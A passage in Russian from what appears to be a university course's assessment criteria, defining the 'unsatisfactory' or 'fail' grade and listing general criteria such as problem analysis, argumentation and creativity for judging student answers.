«Неудовлетворительно», «Незачет» – выставляется, если сформированность заявленных дескрипторов компетенций менее чем 50 % (в соответствии с картами компетенций ОПОП) оценивается критериями «удовлетворительно», «хорошо» и «отлично»: при ответе обучающегося выявились существенные пробелы в знаниях основных положений фактического материала, неумение с помощью преподавателя получить правильное решение конкретной практической задачи из числа предусмотренных рабочей программой учебной дисциплины.

Ответы и решения обучающихся оцениваются по следующим общим критериям: распознавание проблем; определение значимой информации; анализ проблем; аргументированность; использование стратегий; творческий подход; выводы; общая грамотность.